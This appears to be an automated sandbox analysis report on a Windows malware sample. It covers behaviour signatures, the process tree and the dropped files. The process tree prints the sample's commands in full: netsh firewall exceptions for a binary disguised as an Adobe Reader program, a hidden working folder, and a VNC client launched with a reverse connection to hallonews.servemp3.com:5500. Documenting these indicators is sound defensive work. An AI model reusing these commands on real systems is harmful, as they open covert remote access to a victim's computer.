Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    04/06/2026, 21:12

General

  • Target
    bada9a791056f160545710e6170019870e25d2136914ff604662f046bf0e3764.exe
  • Size 3.2MB
  • Sample260604-z2fc2sft3z
  • SHA256 bada9a791056f160545710e6170019870e25d2136914ff604662f046bf0e3764
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Delays execution with timeout.exe 5 IoCs
  • Kills process with taskkill 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\bada9a791056f160545710e6170019870e25d2136914ff604662f046bf0e3764.exe
    "C:\Users\Admin\AppData\Local\Temp\bada9a791056f160545710e6170019870e25d2136914ff604662f046bf0e3764.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:6064
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\i6.bat" "
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2944
    • C:\Windows\system32\cmd.exe
      "C:\Windows\Sysnative\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\wtmpd\t31252.bat "C:\Users\Admin\AppData\Local\Temp\bada9a791056f160545710e6170019870e25d2136914ff604662f046bf0e3764.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5500
      • C:\Windows\system32\attrib.exe
        attrib +h C:\Users\Admin\AppData\Local\Temp\wtmpd
        3⤵
        • Views/modifies file attributes
        PID:5096
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /K "C:\ebi\ebi.cmd"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1060
        • C:\Windows\system32\mode.com
          Mode 90,20
          4⤵
            PID:3824
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c Set GUID[ 2>Nul
            4⤵
              PID:5048
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c Reg Query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles" /S /V Description
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:1644
              • C:\Windows\system32\reg.exe
                Reg Query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles" /S /V Description
                5⤵
                  PID:4428
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /S /D /c" type C:\ebi\ebi.txt"
                4⤵
                  PID:3884
                • C:\Windows\system32\cmd.exe
                  cmd
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3880
                  • C:\Windows\system32\mode.com
                    Mode 90,20
                    5⤵
                      PID:4184
                    • C:\Windows\system32\netsh.exe
                      netsh firewall add allowedprogram program="C:\adobereader1\adobereader1.exe" name="MyApplication" mode=ENABLE scope=ALL
                      5⤵
                      • Modifies Windows Firewall
                      • Event Triggered Execution: Netsh Helper DLL
                      PID:3756
                    • C:\Windows\system32\netsh.exe
                      netsh firewall add allowedprogram program="C:\adobereader1\adobereader1.exe" name="MyApplicatio" mode=ENABLE scope=ALL profile=ALL
                      5⤵
                      • Modifies Windows Firewall
                      • Event Triggered Execution: Netsh Helper DLL
                      PID:3464
                    • C:\ebi\ebi.exe
                      C:\ebi\ebi.exe -autoreconnect ID:5543754 -connect hallonews.servemp3.com:5500 -run
                      5⤵
                      • Executes dropped EXE
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of FindShellTrayWindow
                      • Suspicious use of SendNotifyMessage
                      PID:4540
                  • C:\Windows\system32\timeout.exe
                    timeout /t 1
                    4⤵
                    • Delays execution with timeout.exe
                    PID:2080
                  • C:\Windows\system32\taskkill.exe
                    taskkill /im rundll32.exe /f
                    4⤵
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1720
                  • C:\Windows\system32\timeout.exe
                    timeout /t 1
                    4⤵
                    • Delays execution with timeout.exe
                    PID:5740
                  • C:\Windows\system32\taskkill.exe
                    taskkill /im rundll32.exe /f
                    4⤵
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2124
                  • C:\Windows\system32\timeout.exe
                    timeout /t 1
                    4⤵
                    • Delays execution with timeout.exe
                    PID:5168
                  • C:\Windows\system32\taskkill.exe
                    taskkill /im rundll32.exe /f
                    4⤵
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:5224
                  • C:\Windows\system32\timeout.exe
                    timeout /t 1
                    4⤵
                    • Delays execution with timeout.exe
                    PID:584
                  • C:\Windows\system32\taskkill.exe
                    taskkill /im rundll32.exe /f
                    4⤵
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3924
                  • C:\Windows\system32\timeout.exe
                    timeout /t 1
                    4⤵
                    • Delays execution with timeout.exe
                    PID:5296
                  • C:\Windows\system32\taskkill.exe
                    taskkill /im rundll32.exe /f
                    4⤵
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2780

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

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                  Downloads

                  Delete.cmd

                  • Path C:\Users\Admin\AppData\Local\Temp\afolder\Delete.cmd
                  • Size 171B
                  • SHA256 fd3e438e176395dae5299bf67c8acaab87f012da78b92adf071f465ebc6c50db
                  • MD5 SHA1 SHA512 TLSH

                  Passport.jpg

                  • Path C:\Users\Admin\AppData\Local\Temp\afolder\Passport.jpg
                  • Size 41KB
                  • SHA256 2451c9e19145e5126b6877647a5ce4a44c9d58810276b30f88c3a5ea1f4de7fd
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  SilentRun.vbs

                  • Path C:\Users\Admin\AppData\Local\Temp\afolder\SilentRun.vbs
                  • Size 91B
                  • SHA256 333a77352d32a53c602fd267d9bce600ab5ce7f09b9c2ccf86c0f2d65c14c129
                  • MD5 SHA1 SHA512 TLSH

                  UltraVNC.ini

                  • Path C:\Users\Admin\AppData\Local\Temp\afolder\UltraVNC.ini
                  • Size 1KB
                  • SHA256 6f95a4eff9b0c2eaf37104b323d2b09c037aa7c3d472a1887c0f7914aa6c835d
                  • MD5 SHA1 SHA512 TLSH

                  ebi.cmd

                  • Path C:\Users\Admin\AppData\Local\Temp\afolder\ebi.cmd
                  • Size 1KB
                  • SHA256 925136b131e39a9416092b7686e9baf5f877b9b3f7a24f824b70099276e3882d
                  • MD5 SHA1 SHA512 TLSH

                  ebi.exe

                  • Path C:\Users\Admin\AppData\Local\Temp\afolder\ebi.exe
                  • Size 3.0MB
                  • SHA256 b7dbab109e5bf3afffba5571366602154f3ea37053ec210dd3e030d0fcb2dbaa
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  ebi.txt

                  • Path C:\Users\Admin\AppData\Local\Temp\afolder\ebi.txt
                  • Size 1KB
                  • SHA256 7c7784e4ed8be0807c581e556538ac9a35bbb7b2373f73497c6a305112f209d4
                  • MD5 SHA1 SHA512 TLSH

                  i6.bat

                  • Path C:\Users\Admin\AppData\Local\Temp\i6.bat
                  • Size 173B
                  • SHA256 941c169c07670650fc6c6148c1cae068b69bac209e05010594e164aafc7cdf8b
                  • MD5 SHA1 SHA512 TLSH

                  i6.f

                  • Path C:\Users\Admin\AppData\Local\Temp\i6.f
                  • Size 32B
                  • SHA256 2e340d2b9ced6ad419c031400fb974feed427cfabd0c167dea26ec732d8579be
                  • MD5 SHA1 SHA512

                  i6.t

                  • Path C:\Users\Admin\AppData\Local\Temp\i6.t
                  • Size 3B
                  • SHA256 f1b2f662800122bed0ff255693df89c4487fbdcf453d3524a42d4ec20c3d9c04
                  • MD5 SHA1 SHA512

                  t31252.bat

                  • Path C:\Users\Admin\AppData\Local\Temp\wtmpd\t31252.bat
                  • Size 1KB
                  • SHA256 7597ae895f71128a6d01871ed59109d27e03f819f26e98f6ee36a68aa5ed7e29
                  • MD5 SHA1 SHA512 TLSH